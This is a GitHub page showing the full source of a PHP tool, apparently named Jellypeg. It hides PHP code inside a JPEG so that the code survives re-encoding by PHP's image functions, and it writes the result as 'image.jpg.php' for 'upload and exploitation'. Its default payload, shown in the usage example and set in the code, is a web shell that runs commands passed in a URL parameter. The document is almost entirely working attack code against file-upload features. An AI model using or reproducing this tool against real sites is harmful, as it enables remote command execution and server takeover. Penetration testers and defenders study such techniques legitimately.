-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathjellypeg.php
135 lines (109 loc) · 3.33 KB
/
jellypeg.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php
#Title: Tool to inject code into JPEG that has been stuffed through imagecreatefromjpeg in PHP
#Author: Jinny Ramsmark
#Github: https://github.com/jra89/Jellypeg
#Usage: php jellypeg.php
#Output: image.jpg.php is the file to be used for upload and exploitation
#Requires: php, php-gd
#Tested with PHP: 8.0.4, 7.4, 7.2, 5.6
ini_set('display_errors', 1);
error_reporting(E_PARSE);
echo "-=Jellypeg Injector 1.9.2=-\n";
echo "[+] Usage: php jellypeg.php <width> <height> <quality> <code>\n";
echo "[+] Example: php jellypeg.php 100 100 75 '<?=exec(\$_GET[\"c\"])?>'\n";
if (!function_exists('imagecreatefromjpeg'))
{
echo "[-] imagecreatefromjpeg() function is not available, is php-gd installed?\n";
die();
} else if(!function_exists('imagejpeg')) {
echo "[-] imagejpeg() function is not available, is php-gd installed?\n";
die();
}
//Argue(ment) about stuff, I dunno, I thought it was funny
$width = isset($argv[1]) && is_numeric($argv[1]) ? $argv[1] : '100';
$height = isset($argv[2]) && is_numeric($argv[2]) ? $argv[2] : '100';
$quality = isset($argv[3]) && is_numeric($argv[3]) && $argv[3] <= 100 ? $argv[3] : '75';
$code = isset($argv[4]) ? $argv[4 ] : '<?=exec($_GET["c"])?>';
$orig = 'image.jpg';
$base_url = "http://placekitten.com";
do
{
$url = $base_url . "/$width/$height/";
echo "[+] Fetching image ($width X $height) from $url\n";
file_put_contents($orig, file_get_contents($url));
} while(!tryInject($orig, $code, $quality));
echo "[+] Done\n";
echo "[+] Result file: image.jpg.php\n";
unlink($orig);
function tryInject($orig, $code, $quality)
{
$result_file = 'image.jpg.php';
$tmp_filename = $orig . '_mod2.jpg';
//Create base image and load its data
$src = imagecreatefromjpeg($orig);
imagejpeg($src, $tmp_filename, $quality);
$data = file_get_contents($tmp_filename);
$tmpData = array();
echo "[+] Jumping to end byte\n";
$start_byte = findStart($data);
echo "[+] Searching for valid injection point\n";
for($i = strlen($data)-1; $i > $start_byte; --$i)
{
$tmpData = $data;
for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
{
$tmpData[$n] = $code[$z];
}
$src = imagecreatefromstring($tmpData);
if($src)
{
imagejpeg($src, $result_file, $quality);
}
if(checkCodeInFile($result_file, $code))
{
unlink($tmp_filename);
unlink($result_file);
sleep(1);
file_put_contents($result_file, $tmpData);
sleep(1);
$src = imagecreatefromjpeg($result_file);
return true;
}
else
{
unlink($result_file);
}
}
unlink($tmp_filename);
return false;
}
function findStart($str)
{
for($i = 0; $i < strlen($str); ++$i)
{
if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
{
return $i+2;
}
}
return -1;
}
function checkCodeInFile($file, $code)
{
if(file_exists($file))
{
$contents = loadFile($file);
}
else
{
$contents = "0";
}
return strstr($contents, $code);
}
function loadFile($file)
{
$handle = fopen($file, "r");
$buffer = fread($handle, filesize($file));
fclose($handle);
return $buffer;
}